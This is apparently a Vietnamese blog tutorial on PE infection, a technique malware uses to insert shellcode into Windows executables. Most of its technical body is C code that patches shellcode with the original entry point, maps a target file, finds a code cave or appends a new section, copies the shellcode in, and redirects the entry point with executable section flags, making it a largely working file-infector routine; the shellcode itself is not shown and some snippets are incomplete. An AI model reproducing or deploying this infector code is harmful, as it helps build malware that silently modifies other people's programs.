PE INJECTION
Mã độc tồn tại trên máy tính và thực vi các hành vi "phá hoại" phục vụ mục đích của kẻ tấn công, nhưng để làm được điều đó nó cần phải đc thực thi, hay nó phải tìm cách để chạy được trên hệ thống máy tính. Có nhiều kỹ thuật để mã độc có thể "running" trên hệ thống máy tính, và một trong những kỹ thuật điển hình là PE Injection. Đây có thể coi là một trong những kỹ thuật cơ bản mà mã độc thường sử dụng. Mục tiêu của mình là sẽ trình bày 1 list các kỹ thuật và mình sẽ bắt đầu bằng PE Injection. PE infection là kỹ thuật chèn code tùy ý vào một file PE. Nhìn chung, kỹ thuật này khá dễ thực hiện và có thể dễ dàng được phát hiện bởi các chương trình antivirus. Mặc dù vậy, báo cáo của Madiant khi rà quét trên hệ từ 2010 đến 2021, cho thấy kỹ thuật này vẫn được sử dụng rất nhiều.
- Tạo shellcode để thực hiện hành vi độc hại
- Chỉnh sửa shellcode
- Đọc file PE
- Tìm hoặc thêm vị trí để chèn shellcode và chèn shellcode
- Chỉnh sửa các trường file PE
1. Tạo shellcode
Mình sẽ tạo một đoạn shellcode đơn giản. Shellcode này lợi dụng cấu trúc của PEB để thực hiện các chức năng sau:
2. Chỉnh sửa shellcode
Chỉnh sửa ở đây chính là giá trị 0xAAAAAAAA (tạm gọi là giá trị đánh dấu) trong shellcode thành OEP, để sau khi shellcode thực thi có thể tiếp tục thực thi tại vị trí OEP của file bị lây nhiễm. Đoạn code thực hiện việc này:PIMAGE_DOS_HEADER pDosHdr = (PIMAGE_DOS_HEADER)lpFileAddr; PIMAGE_NT_HEADERS pNtHdrs = (PIMAGE_NT_HEADERS)(lpFileAddr + pDosHdr->e_lfanew); PIMAGE_SECTION_HEADER pSecHdr = (PIMAGE_SECTION_HEADER)IMAGE_FIRST_SECTION(pNtHdrs); DWORD dwOEP = pNtHdrs->OptionalHeader.AddressOfEntryPoint; //2.1 Replace 0xAAAAAAAA with OEP for (DWORD i = 0; i < dwShellSize; i++) { if (*((LPDWORD)(shellcode + i)) == 0xaaaaaaaa) { *((LPDWORD)(shellcode + i)) = dwOEP; break; } }
3. Đọc file PE
Bước này chỉ đơn giản đọc file PE để chuẩn bị chèn shellcode và chỉnh sửa các trường của file PE.HANDLE hFile = CreateFileA( lpFileName, FILE_READ_ACCESS | FILE_WRITE_ACCESS, 0, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL ); DWORD dwFileSize = GetFileSize(hFile, NULL); HANDLE hFileMapping = CreateFileMapping( hFile, NULL, PAGE_READWRITE, 0, dwFileSize, NULL ); LPBYTE lpFileAddr = (LPBYTE)MapViewOfFile( hFileMapping, FILE_MAP_READ | FILE_MAP_WRITE, 0, 0, dwFileSize );
4. Tìm vị trí hoặc thêm section để chèn shellcode
4.1 Tìm vị trí (codecave) phù hợp Vì mỗi section của file PE khi được lưu trên disk sẽ có độ dài là bội số của trường FileAlignment, nên thường sẽ có những vùng nhớ trống, được gọi là codecave, ở cuối các section. Shellcode có thể chèn vào bất kì section nào, miễn là codecave có độ lớn phù hợp. Trong bài viết này, shellcode sẽ được chèn vào codecave phù hợp đầu tiên tìm được.DWORD dwCount = 0; DWORD dwPos; LPVOID lpShellAddr = 0; for (dwPos = pNtHdrs->OptionalHeader.SizeOfHeaders; dwPos < dwFileSize; dwPos++) { if (*(lpFileAddr + dwPos) == 0x00) { if (dwCount++ == dwShellSize) { lpShellAddr = (LPVOID)(lpFileAddr + dwPos - dwShellSize); break; } } else { dwCount = 0; } }4.2 Thêm section Trong trường hợp không tìm được codecave phù hợp, ta có thể tạo thêm một section mới để chứa shellcode.
DWORD dwNewSecRVA = 0, dwNewSecRaw = 0; if (!lpShellAddr) { while (pSecHdr->SizeOfRawData != 0) { pSecHdr++; } dwNewSecRVA = pSecHdr->VirtualAddress + pSecHdr->Misc.VirtualSize; dwNewSecRaw = pSecHdr->PointerToRawData + pSecHdr->SizeOfRawData; // Update the section count in the NT headers pNtHdrs->FileHeader.NumberOfSections++; // Update section name strncpy((char*)pSecHdr->Name, "./001", IMAGE_SIZEOF_SHORT_NAME); // Update the size of image in the NT headers pNtHdrs->OptionalHeader.SizeOfImage += pNtHdrs->OptionalHeader.SectionAlignment; // Update the last section header's size and virtual size pSecHdr->SizeOfRawData = pNtHdrs->OptionalHeader.FileAlignment; pSecHdr->Misc.VirtualSize = pNtHdrs->OptionalHeader.SectionAlignment; // Update the last section header's RAW offset and RVA pSecHdr->PointerToRawData = dwNewSecRaw; pSecHdr->VirtualAddress = dwNewSecRVA; // Zero out the new section's data in memory ZeroMemory((LPVOID)( (DWORD)lpFileAddr + dwNewSecRaw), pNtHdrs->OptionalHeader.FileAlignment ); lpShellAddr = (LPVOID)(lpFileAddr + dwNewSecRaw); printf("[+] Added section %s", pSecHdr->Name); }Thực hiện chèn shellcode bằng hàm memcpy() memcpy(lpShellAddr, shellcode, dwShellSize)
5. Chỉnh sửa lại các trường của PE
//update virtual size pSecHdr[i].Misc.VirtualSize += dwShellSize; //update section characteristic pSecHdr[i].Characteristics |= IMAGE_SCN_MEM_WRITE | IMAGE_SCN_MEM_READ | IMAGE_SCN_MEM_EXECUTE; //update entry point pNtHdrs->OptionalHeader.AddressOfEntryPoint = shellOffset - pSecHdr[i].PointerToRawData + pSecHdr[i].VirtualAddress;Kết quả File trước khi bị lây nhiễm khi thực thi chỉ in chuỗi “Processing…”


5770 lượt xem